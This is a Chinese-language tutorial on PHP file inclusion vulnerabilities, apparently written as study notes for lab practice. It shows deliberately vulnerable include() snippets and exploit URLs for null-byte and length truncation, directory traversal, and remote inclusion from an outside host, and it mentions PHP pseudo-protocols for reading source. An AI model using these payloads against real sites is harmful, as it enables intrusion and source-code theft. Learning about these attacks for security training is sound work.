文件包含


1、文件包含漏洞简介
1、1什么是文件包含

     程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数

时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。

1、2 文件包含漏洞的成因

         随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包

含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变
量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做
合理的校验或者校验被绕过就造成了文件包含漏洞。

1、3 PHP中常见包含文件的函数

Ø include( )
当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含
进来,发生错误时之给出一个警告,继续向下执行。
Ø include_once( )
功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次
Ø require( )
require()与include()的区别在于require()执行如果发生错误,函数会输出
错误信息,并终止脚本的运行。
Ø require_once( )
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

几乎所有的脚本语言中都提供文件包含的功能,但文件包含漏洞在 PHP 中
居多,而在JSP、ASP、ASP.NET程序中非常少,甚至没有包含漏洞的存在。这

与程序开发人员的水平无关,而问题在于语言设计的弊端。

2.举例说明

2.1

有1.txt文件,并且无限制

<?php
$filename=$_GET['filename'];
include($filename)
?>

直接访问127.0.0.1,只能显示1.txt的代码。

但是利用文件包含漏洞,就可以运行1.txt的代码

2.2

1.txt有限制

<?php
$filename=$_GET['filename'];
include ($filename." .html" );
?>

指向了文件后缀为html
这样1.txt就变成了 1.txt.html 这样没有这个文件,所以会执行失败

那么如何绕过

%00截断:条件: magic quotes gpc = off php版本<5.3.4

http://127.0.0.1:8080/include.php?filename=1.txt%00

长度截断:条件: windows,点号需要长于256; linux长于4096

填充垃圾长度,使得.html无法被加上

2.3跨目录包含

http://1227.0.0.1:8080/include.php?filename=../../1.txt

3.远程包含

allow_url_include打开时支持远程包含

访问并执行远程文件

如果远程文件为后门代码,那么该代码会被执行并被连接

3.2有限制远程包含绕过

http://127.0.0.1:8080/include.php?filename=http: / / www.xiaodi8.com/readme.txt

http://127.0.0.1:8080/include.php?filename=http :/ / www.xiaodi8.com/readme.txt%20

http: //127.0.0.1:8080/include.php?filename=http: // www.xiaodi8.com/readme.txt%23

http://127.0.0.1:8080/include.php?filename=http : / / www.xiaodi8.com/readme.txt?

4.利用协议


各种php伪协议的用法

5.靶场训练

无论直接访问还是利用参数访问,都执行了页面代码。也可根据页面代码发现存在文件包含漏洞


利用php伪协议查看目录

利用php伪协议查看文件,查看源代码